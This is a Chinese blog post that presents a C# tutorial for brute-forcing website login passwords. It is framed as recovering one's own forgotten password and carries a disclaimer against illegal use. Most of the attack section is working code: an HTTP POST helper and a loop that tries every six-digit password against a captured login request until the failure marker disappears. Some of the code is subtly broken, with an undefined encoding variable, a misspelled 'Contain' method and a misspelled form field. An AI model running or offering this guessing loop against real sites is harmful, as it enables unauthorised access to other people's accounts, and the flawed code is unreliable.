目錄
一、前言
剛剛睡覺的時候迷迷糊糊夢到了上大學的時候玩弄旅行箱密碼的樣子。剛上大學的時候學校給每個人發一個旅行箱,帶學校Logo的那種,旅行箱稍顯高檔,帶了三位數的密碼還可以自己修改密碼。都是劉姥姥進大觀園,哪玩過這么高檔的東西,剛上大學最樂此不疲的就是擺弄密碼,最頭疼的就是一不小心把密碼忘記了,或者修改密碼的時候一不小心撥錯了。尤記得宿舍最壯觀的時候好幾個人同時坐到小板凳上從000開始試自己的密碼直到咯嘣一聲密碼鎖打開,那種最簡單的幸福與開心歷歷在目,現在這個箱子還在家里珍藏着,只是隨着年紀的增長,玩弄密碼已經不能滿足我們的追求,不能再讓我們能夠為之會心一笑。
今天我要講的主題,也是剛剛迷迷糊糊在睡夢中想到的,同樣跟密碼有關系。雖然現在不玩弄旅行箱的密碼了,但是應該有很多人有過自己網站或者支付寶等等密碼忘記的情況,如果網站有忘記密碼還好說,如果沒有,那么我們也只能一個個去試,3位密碼只需要1000次,如果你是6位密碼一個個試還不累死,所以這時候我們的網絡爬蟲就派上用場了。
關於網絡爬蟲以及一些基本的概念在《網絡爬蟲之投票》這篇文章中已經有過介紹,有興趣的可以移步,這里我們直接來說如何用網絡爬蟲的方式破解我們的密碼。
二、密碼破解
用到的技術也同樣是網絡抓包、DOM樹分析、網絡請求等。
- 網絡抓包
- dom樹分析
- 網絡請求
- 循環破解
2.1 網絡抓包
這里抓包很簡單,首先打開fiddler軟件,然后打開你要破解的網站,輸入用戶名和一個假的密碼(如果你知道真的密碼,就不需要破解了),點擊登錄,這時候就會從fiddler中查看到一條登錄的請求,一般都是POST請求,可以很清楚的從請求內容中看到請求的URl、用戶名、密碼等,將該語句復制下來,准備下一步工作。
2.2 dom樹分析
這里的DOM樹分析,只需要分析剛剛那條登錄請求的結果即可,一般都是提示你登錄失敗,但是有些返回的是整個html頁面,有些是json語句等等,但是終歸你會找到一個標識你登錄失敗的地方,將這個也記錄下來,准備下一步工作。
2.3 網絡請求
此次網絡請求在上一篇文章中也有過介紹,在這里我再放出代碼,但需要強調的是using (StreamReader sr = new StreamReader(instream, encoding))
中的encoding,如果你能看出返回網頁的編碼方式,這里就改成相應的編碼,否則中午會出現亂碼的情況,如果不知道,那么可以用GB2312等逐一測試,直到不出現亂碼為止。
public string GetContent(string method, string url, string postData = "", CookieContainer cookie = null)
{
HttpWebResponse response = null;
HttpWebRequest request = null;
if (cookie == null)
cookie = new CookieContainer();
// 准備請求...
try
{
// 設置參數
request = WebRequest.Create(url) as HttpWebRequest;
request.CookieContainer = cookie;
request.AllowAutoRedirect = true;
request.Method = method.ToUpper();
request.ContentType = "application/x-www-form-urlencoded";
string userAgent = string.Format("Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.8670)");
request.UserAgent = userAgent;
request.ContentLength = postData.Length;
if (method.ToUpper() == "POST")
{
if (!string.IsNullOrEmpty(postData))
{
byte[] data = Encoding.Default.GetBytes(postData);
request.ContentLength = data.Length;
using (Stream outstream = request.GetRequestStream())
{
outstream.Write(data, 0, data.Length);
}
}
}
//發送請求並獲取相應回應數據
response = request.GetResponse() as HttpWebResponse;
//直到request.GetResponse()程序才開始向目標網頁發送Post請求
using (Stream instream = response.GetResponseStream())
{
using (StreamReader sr = new StreamReader(instream, encoding))
{
//返回結果網頁(html)代碼
string content = sr.ReadToEnd();
return content;
}
}
}
catch (Exception ex)
{
string err = ex.Message;
return err;
}
finally
{
if (response != null)
response.Close();
}
}
2.4 循環破解
這里是本文的核心,知道了登錄的請求方式以及登錄失敗的提示,接下來就是通過像我們當年破解密碼箱密碼一樣一個個去試,這里只不過用程序自動完成,首先寫個循環從0循環到999999(假設6位數密碼),然后拼接登錄請求中的數據(包含用戶名、密碼),然后發送網絡請求判斷請求的結果,如果包含之前找到的失敗標識,繼續循環,如果不包含,恭喜你密碼找到了。代碼如下:
int start = 0;
int end = 999999;
for (int i = start; i <= end; i++)
{
var pass = i.ToString().PadLeft(6, '0');//不足6位,左邊補0
var post = "usename=yourname" + "&password=" + pass;//拼接請求的數據
var res = GetContent("POST", loginurl, post);
if (!res.Contain("失敗標識"))
{
MessageBox.Show("密碼是:" + pass);
return;
}
}
其中i.ToString().PadLeft(6, '0')
的作用是不足6位補0,讓密碼滿足6位。var post = "usename=yourname" + "&password=" + pass
的作用是拼接發送的數據。
三、總結
通過以上方式我們就能破解出來我們的密碼,在這里強烈申明本文只討論技術,各位也只用學習技術即可,不可拿來做違法的事情。另本文講述的只是最簡單的方式,隨着網絡技術的發展,現在也基本不能再進行破解了,如登錄包含驗證碼或者有允許登錄失敗次數等等其他種種防暴力破解技術,碰到這種該技術則完全失效。再次申明本文只是介紹一種簡單的網絡爬蟲技術,以及用來回味那段純真無暇的少年時光。